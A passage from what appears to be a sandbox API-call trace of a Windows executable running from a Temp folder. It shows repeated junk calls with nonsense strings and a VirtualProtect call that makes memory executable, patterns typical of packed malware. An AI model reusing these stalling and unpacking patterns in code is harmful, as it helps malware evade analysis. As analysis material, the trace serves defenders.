[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.318] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.319] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.319] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.319] GetConsoleCP () returned 0x0
	[0066.319] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.319] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.320] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.320] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.320] GetConsoleCP () returned 0x0
	[0068.005] VirtualProtect (in: lpAddress=0xd18ea0, dwSize=0x1a843, flNewProtect=0x40, lpflOldProtect=0x19ff2c | out: lpflOldProtect=0x19ff2c*=0x4) returned 1
	[0068.008] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.325] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.325] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.379] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.379] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.396] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.396] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.412] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.412] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.441] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.441] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.469] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.469] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.489] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.489] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.514] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.515] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.548] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.548] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.573] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.573] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.592] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.593] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.614] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.614] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.632] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.632] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.669] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.669] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.686] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.686] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.704] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.704] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.720] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.720] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.737] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.737] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.754] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.754] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.772] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.772] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.789] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.789] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.809] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.809] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.826] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.826] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.848] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.848] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.867] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.867] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.887] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.887] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.911] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.911] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.934] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.934] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.957] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.957] SetDefaultCommConfigA (lpszName="Xoti wiro zacoyemibati yupihalo", lpCC=0x19f298, dwSize=0x0) returned 0
	[0068.981] LoadAcceleratorsW (hInstance=0x0, lpTableName="Hudu") returned 0x0
	[0068.981] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0068.982] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0068.985] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0068.985] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0068.985] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0068.993] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0068.993] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0068.993] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0068.995] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0068.995] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0068.995] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0068.996] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0068.996] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0068.996] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0068.998] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0068.998] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0068.999] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.002] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.002] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.002] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.005] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.005] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.005] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.007] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.007] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.007] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.010] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.010] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.010] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.015] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.015] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.015] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.017] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.017] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.017] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.020] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.020] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.020] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.024] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.024] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
	[0069.024] WriteProfileSectionA (lpAppName="Vibibozuve mayu", lpString="Xejili zuyo wi jufebodoyi") returned 1
	[0069.026] DosDateTimeToFileTime (in: wFatDate=0x0, wFatTime=0x0, lpFileTime=0x19eeb0 | out: lpFileTime=0x19eeb0) returned 0
	[0069.026] GetGlyphOutlineA (in: hdc=0x0, uChar=0x0, fuFormat=0x0, lpgm=0x19eeb8, cjBuffer=0x0, pvBuffer=0x19eecc, lpmat2=0x0 | out: lpgm=0x19eeb8, pvBuffer=0x19eecc) returned 0xffffffff
